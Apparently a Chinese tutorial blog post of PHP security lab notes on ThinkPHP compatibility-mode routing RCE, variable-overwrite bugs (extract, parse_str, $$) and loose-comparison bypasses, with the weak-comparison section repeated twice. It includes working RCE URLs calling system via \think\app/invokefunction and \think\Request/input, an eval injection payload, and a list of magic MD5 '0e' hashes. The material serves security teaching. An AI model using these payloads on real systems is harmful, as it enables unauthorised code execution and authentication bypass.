上述控制器Test由于定义了路由规则,所以按照正常的路由规则访问即可:

http://192.168.112.188/tpdemo/public/test/demo/100/200  // 输出300
http://192.168.72.148/tpdemo/public/test      // 输出 YikJiang

事实上,ThinkPHP为了考虑与早期版本的兼容性,默认保留了兼容模式,只要定义了类文件,即使不定义路由规则,也可以直接访问,这类参数在/tpdemo/config/app.php的全局配置文件中可以看到:

// 默认模块名,用于默认首页模块
'default_module'         => 'index',
// 禁止访问模块,黑名单,不在黑名单中的模块均可以访问
'deny_module_list'       => ['common'],
// 默认控制器名,用于默认首页模块
'default_controller'     => 'Index',
// 默认操作名,在任意控制器中,index方法是默认方法
'default_action'         => 'index',
// PATHINFO变量名 用于兼容模式,其参数名称为 s
'var_pathinfo'           => 's',
// 是否强制使用路由,默认并未开启
'url_route_must'         => false,

所以,基于兼容模式和非强制路由的情况下,我们可以直接不在定义路由规则的情况下,直接使用兼容模式访问控制器并传参

http://192.168.72.148/tpdemo/public/index.php?s=index/test/index    // index.php是入口文件,可以省略http://192.168.72.148/tpdemo/public/?s=index/test/index             // 与上面的内容相同http://192.168.72.148/tpdemo/public/index.php?s=index/test/demo/a/100/b/200  // 兼容模式传参一http://192.168.72.148/tpdemo/public/index.php?s=index/test/demo&a=100&b=200  // 兼容模式传参二

其中Test控制器位于index模块下,拥有方法demo,demo方法有两个参数:$a 和 $b,所以上述URL地址可用。

4、自动加载机制

在之前我们编写的代码中,需要使用到外部代码时,通常使用 include 或者 require 完成引用加载,甚至我们还可以编写一段代码,遍历某个目录下的所有.php文件然后进行自动加载,但是如果面对ThinkPHP这样的框架,代码和类无处不在的时候,简单的遍历就会出现问题,此时,就需要使用更高级的spl_autoload_register。

spl_autoload_register()是个自动加载函数,当我们实例化一个未定义的类时就会触发此函数,然后再触发指定的方法,函数第一个参数就代表要触发的方法。这就是自动加载方法,按需自动加载类,不需要一一手动加载。在面向对象中这种方法经常使用,可以避免书写过多的引用文件,同时也使整个系统更加灵活。

ThinkPHP采用了PSR-4自动加载机制,ThinkPHP的入口文件是public/index.php,这是应用程序开始的地方,代码就三行:

```php`
namespace think;
// 加载基础文件
require DIR . ‘/…/thinkphp/base.php’;
// 执行应用并响应
Container::get(‘app’)->run()->send();


其中最重要的,是require进来了 /../thinkphp/base.php,即路径:/tpdemo/thinkphp/base.php,而该文件便是在完成任意类(满足PSR-4规范)的自动加载,而不需要使用 new 进行实例化。

​```php
// 载入Loader类
require __DIR__ . '/library/think/Loader.php';
// 注册自动加载
Loader::register();

所以,在URL地址栏中,还可以使用更复杂的地址完成对任意类的调用和传参,比如:

/tpdemo/public/index.php?s=index/\think\view\driver\Php/display&content=XXXXX
其中:\think\view\driver\Php 对应类的路径

二、搜索潜在漏洞

1、漏洞产生条件

(1)使用了兼容模式,因为系统并未定义路由,所以必须要求兼容模式开启,幸运的是默认是开启的

(2)知道兼容模式的参数名为 “s“,而不是其他,幸运的是默认就是s,一般情况下没有人会去修改

以上两点,就为漏洞利用创造了极好的条件,因为一切都是默认配置下便可以利用。

2、如何开始漏洞挖掘

回顾一下,反序列化漏洞的挖掘过程,找终点->找起点->找路径->找可控点->POC->利用,事实上,在ThinkPHP的非强制路由模式下,这个道理是类似的,首先看看终点,通常有哪些函数可以执行命令或者写入文件,简单罗列如下:

eval,call_user_func,call_user_func_array,file_put_contents,fwrite,assert,passthru

全局搜索以上函数名,再继续倒推由哪个方法在调用该函数,该方法的参数是否可控,参数由哪里传过来,调用该方法的是在哪里,那个地方的参数是否可控,这样一步一步逼近,最终实现通过一个URL地址的组装完成类方法的调用和漏洞利用。

三、漏洞调用分析

(1)?s=index/\think\Request/input&filter=system&data=ifconfig
(2)?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ifconfig

PHP变量覆盖漏洞原理

一、 超全局变量

编写以下代码:

var_dump($_GET);

在浏览器中执行,可以看到$_GET是一个关联数组,此用法适用于所有超全局变量。

http://192.168.72.148/security/test.php?name=yang&age=23
输出:array (size=2)
  'name' => string 'yang' (length=4)
  'age' => string '23' (length=2)
$GLOBALS, 所有全局变量数组
$_SERVER, 服务器环境变量数组
$_GET,通过GET方法传递给脚本的变量数组
$_POST, 通过POST方法传递给脚本的变量数组
$_COOKIE,cookie变量数组
$_REQUEST,所有用户输入的变量数组,包括$_GET, $_POST$_COOKIE所包含的输入内容
$_FILES,与文件上传相关得变量数组
$_ENV,环境变量数组
$_SESSION,会话变量数组

如果参数本身是一个数组呢?

http://192.168.72.148/security/test.php?name=name[0]=Lebron&name[1]=James&name[2]=Curry
输出:
array (size=1)
  'name' => 
    array (size=2)
      1 => string 'James' (length=5)
      2 => string 'Curry' (length=5)

那就正常按照二维数组进行输出。

二、变量覆盖的用法

1、$$可变变量

在PHP中,$var表示一个名为var的普通变量,它存储字符串、整数、浮点等任何值。而$$var是一个引用变量,用于存储$var的值。

$var = "woniu";
$$var = "hello";
echo $var . "<br/>";
echo $$var . "<br/>";
echo $woniu; . "<br/>";
输出:
woniu
hello
hello


$a = 'hello';
$$a = 'world';
echo "$a ${$a} <br/>" ;
echo "$a $hello <br/>";
输出:
hello world
hello world
2、全局变量覆盖
$auth = 0;
foreach ($_GET as $key => $value) {
    $$key = $value;
}
echo $auth;

访问:192.168.72.148/security/test.php?auth=YikJiang 则输出$auth的值为YikJiang
为什么需要将地址参数的Key转换成变量?
    因为后续使用非常方便
$auth = $_GET['auth'];  => $auth  //遍历之后,后续就可以直接使用$auth这个变量
$name = $_POST['name'];  => $name
3、extract()函数

extract — 从数组中将变量导入到当前的符号表(即变量引用),该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。不要对不可信的数据使用 extract(),类似用户输入,例如$_GET、$_POST、$_FILES、$_COOKIE等

$auth =false;
extract($_GET);
echo $auth;

访问:http://192.168.72.148/security/test.php?auth=23 
则输出$auth的值为23
4、parse_str()函数

将字符串解析成多个变量,与此有相同功能的函数还有:mb_parse_str(),并不会返回值

$a = 'aa';
$str = "a=test";
parse_str($str);		//将a变为变量,把test赋值给a
echo $a;

输出:test  
5、其他

全局变量注册:register_globals = On和 import_request_variables()函数 ,仅在PHP5.4版本之前有用

三、变 量覆盖演练

1、变量覆盖与代码注入
$x = $_GET['x'];
eval("var_dump($$x);");

解法一

http://192.168.72.148/security/test.php?x=y=phpinfo()

image-20220920093950075

解法二

http://192.168.72.148/security/test.php?x=y=1);system("ifconfig"

image-20220920093937092

2、变量覆盖
error_reporting(0); 
$hashed_key = 'ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a'; 
$parsed = parse_url($_SERVER['REQUEST_URI']); 
var_dump($parsed);
if(isset($parsed["query"])){ 
    $query = $parsed["query"]; 
    $parsed_query = parse_str($query);   // 没有返回值,$parsed_query === null
    
    //所以说一下if语句在本代码中是没有作用的
    if($parsed_query != null){ 
        $action = $parsed_query['action']; 
    }
    //parse_str将用户输入的参数转换为变量,所以url中给定的参数为cation
    if($action==="auth"){ 
        $key = $_GET["key"]; 
        $hashed_input = hash('sha256', $key); 
        // 此时我们可以在url中给定一个$key经过SHA256加密的$hashed_key,实现变量覆盖
        if($hashed_input!==$hashed_key){ 
            die("no"); 
        } 
        echo "Flag: f7119dfdd560f9d1fcbe"; 
    } 
}else{ 
    show_source(__FILE__); 
}
http://192.168.72.148/security/test.php?action=auth&key=YikJiang&hashed_key=7b8582b61348fdbb81ac50084b08cb8ff73afa45753f07054f48bff35bbf5496

PHP弱类型比较漏洞

一、弱类型比较

var_dump("admin" == 0);  //true
var_dump("1admin" == 1); //true
var_dump("admin1" == 1); //false
var_dump("admin1" == 0); //true
var_dump("0e123456" == "0e4456789"); //true

二、Hash比较

var_dump("0e123456789012345678901234567890" === "0"); //false
var_dump("0e123456789012345678901234567890" == "0");  //true
$pass = $_GET['password'];
$password = '0e342768416822451524974117254469';
if (md5($pass) == $password) {
    echo "flag{xx-xx-xxxx-xxx}";
}
else {
    echo "error";
}

MD5加密后为0e开头的字符串

QNKCDZO         0e830400451993494058024219903391
s878926199a      0e545993274517709034328855841020
s155964671a        0e342768416822451524974117254469  
s214587387a        0e848240448830537924465865611904  
s214587387a        0e848240448830537924465865611904  
s878926199a        0e545993274517709034328855841020  
s1091221200a    0e940624217856561557816327384675  
s1885207154a    0e509367213418206700842008763514  
s1502113478a    0e861580163291561247404381396064  
s1885207154a    0e509367213418206700842008763514  
s1836677006a    0e481036490867661113260034900752  
s155964671a        0e342768416822451524974117254469  
s1184209335a    0e072485820392773389523109082030 
s1665632922a    0e731198061491163073197128363787  
s1502113478a    0e861580163291561247404381396064  
s1836677006a    0e481036490867661113260034900752  
s1091221200a    0e940624217856561557816327384675  
s155964671a        0e342768416822451524974117254469  
s1502113478a    0e861580163291561247404381396064  
s155964671a        0e342768416822451524974117254469  
s1665632922a    0e731198061491163073197128363787  
s155964671a        0e342768416822451524974117254469

三、布尔比较

$str = '{"user":true, "pass":true}';
$data = json_decode($str, true);
if($data['user'] == 'root' && $data['pass'] == 'myPass'){
    echo '登陆成功 获得flag{xx-ssss-xxxx}';
}else{
    echo '登陆失败!';
}

四、反序列化比较

$str = 'a:2:{s:4:"user";b:1;s:4:"pass";b:1;}';
$data = unserialize($str);

if($data['user'] == 'root' && $data['pass'] == 'myPass'){
    print_r('登陆成功 获得flag{xx-ssss-xxxx}');	//会输出Falg
}else{
    print_r('登陆失败!');
}

五、极值比较

$a=98869694308861098395599991222222222222;
$b=98869694308861098395599992999999999999;
var_dump($a===$b);

六、switch比较

$num = '2woniu';
switch($num){
    case 0:
        echo '000000';
        break;
    case 1:
        echo '111111';
        break;
    case 2:
        echo '222222';
        break;
    case 3:
        echo '333333';
        break;
    default:
        echo "error";
}
// 数字型防SQL注入的简单方法
$source = '12345 and 1=2';
var_dump((int)$source);

七、数组比较

当使用in_array() 或array_search()函数时,如果strict参数没有设置为true,则in_array()或array_search()将使用松散来判断。

$array = ['a',0,1,2,'3'];
var_dump(in_array('abc', $array));	//True,下标为1(查看是否在数组中)
var_dump(array_search('abc', $array));		//搜索abc字符串在数组中出现的第一个下标

八、代码演练

$flag="flag{xxxx-2020}";
if (empty($_GET['id'])) {
   show_source(__FILE__);
   die();
} else {
    $a = "www.woniuxy.com";
    $id = $_GET['id'];
    @parse_str($id);
 if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
       echo $flag;
  } else {
      exit("no no");
  }
}
`

http://192.168.72.148/security/test.php?action=auth&key=YikJiang&hashed_key=7b8582b61348fdbb81ac50084b08cb8ff73afa45753f07054f48bff35bbf5496


## PHP弱类型比较漏洞

### 一、弱类型比较

```php
var_dump("admin" == 0);  //true
var_dump("1admin" == 1); //true
var_dump("admin1" == 1); //false
var_dump("admin1" == 0); //true
var_dump("0e123456" == "0e4456789"); //true

二、Hash比较

var_dump("0e123456789012345678901234567890" === "0"); //false
var_dump("0e123456789012345678901234567890" == "0");  //true
$pass = $_GET['password'];
$password = '0e342768416822451524974117254469';
if (md5($pass) == $password) {
    echo "flag{xx-xx-xxxx-xxx}";
}
else {
    echo "error";
}

MD5加密后为0e开头的字符串

QNKCDZO         0e830400451993494058024219903391
s878926199a      0e545993274517709034328855841020
s155964671a        0e342768416822451524974117254469  
s214587387a        0e848240448830537924465865611904  
s214587387a        0e848240448830537924465865611904  
s878926199a        0e545993274517709034328855841020  
s1091221200a    0e940624217856561557816327384675  
s1885207154a    0e509367213418206700842008763514  
s1502113478a    0e861580163291561247404381396064  
s1885207154a    0e509367213418206700842008763514  
s1836677006a    0e481036490867661113260034900752  
s155964671a        0e342768416822451524974117254469  
s1184209335a    0e072485820392773389523109082030 
s1665632922a    0e731198061491163073197128363787  
s1502113478a    0e861580163291561247404381396064  
s1836677006a    0e481036490867661113260034900752  
s1091221200a    0e940624217856561557816327384675  
s155964671a        0e342768416822451524974117254469  
s1502113478a    0e861580163291561247404381396064  
s155964671a        0e342768416822451524974117254469  
s1665632922a    0e731198061491163073197128363787  
s155964671a        0e342768416822451524974117254469

三、布尔比较

$str = '{"user":true, "pass":true}';
$data = json_decode($str, true);
if($data['user'] == 'root' && $data['pass'] == 'myPass'){
    echo '登陆成功 获得flag{xx-ssss-xxxx}';
}else{
    echo '登陆失败!';
}

四、反序列化比较

$str = 'a:2:{s:4:"user";b:1;s:4:"pass";b:1;}';
$data = unserialize($str);

if($data['user'] == 'root' && $data['pass'] == 'myPass'){
    print_r('登陆成功 获得flag{xx-ssss-xxxx}');	//会输出Falg
}else{
    print_r('登陆失败!');
}

五、极值比较

$a=98869694308861098395599991222222222222;
$b=98869694308861098395599992999999999999;
var_dump($a===$b);

六、switch比较

$num = '2woniu';
switch($num){
    case 0:
        echo '000000';
        break;
    case 1:
        echo '111111';
        break;
    case 2:
        echo '222222';
        break;
    case 3:
        echo '333333';
        break;
    default:
        echo "error";
}
// 数字型防SQL注入的简单方法
$source = '12345 and 1=2';
var_dump((int)$source);

七、数组比较

当使用in_array() 或array_search()函数时,如果strict参数没有设置为true,则in_array()或array_search()将使用松散来判断。

$array = ['a',0,1,2,'3'];
var_dump(in_array('abc', $array));	//True,下标为1(查看是否在数组中)
var_dump(array_search('abc', $array));		//搜索abc字符串在数组中出现的第一个下标

八、代码演练

$flag="flag{xxxx-2020}";
if (empty($_GET['id'])) {
   show_source(__FILE__);
   die();
} else {
    $a = "www.woniuxy.com";
    $id = $_GET['id'];
    @parse_str($id);
 if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
       echo $flag;
  } else {
      exit("no no");
  }
}
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值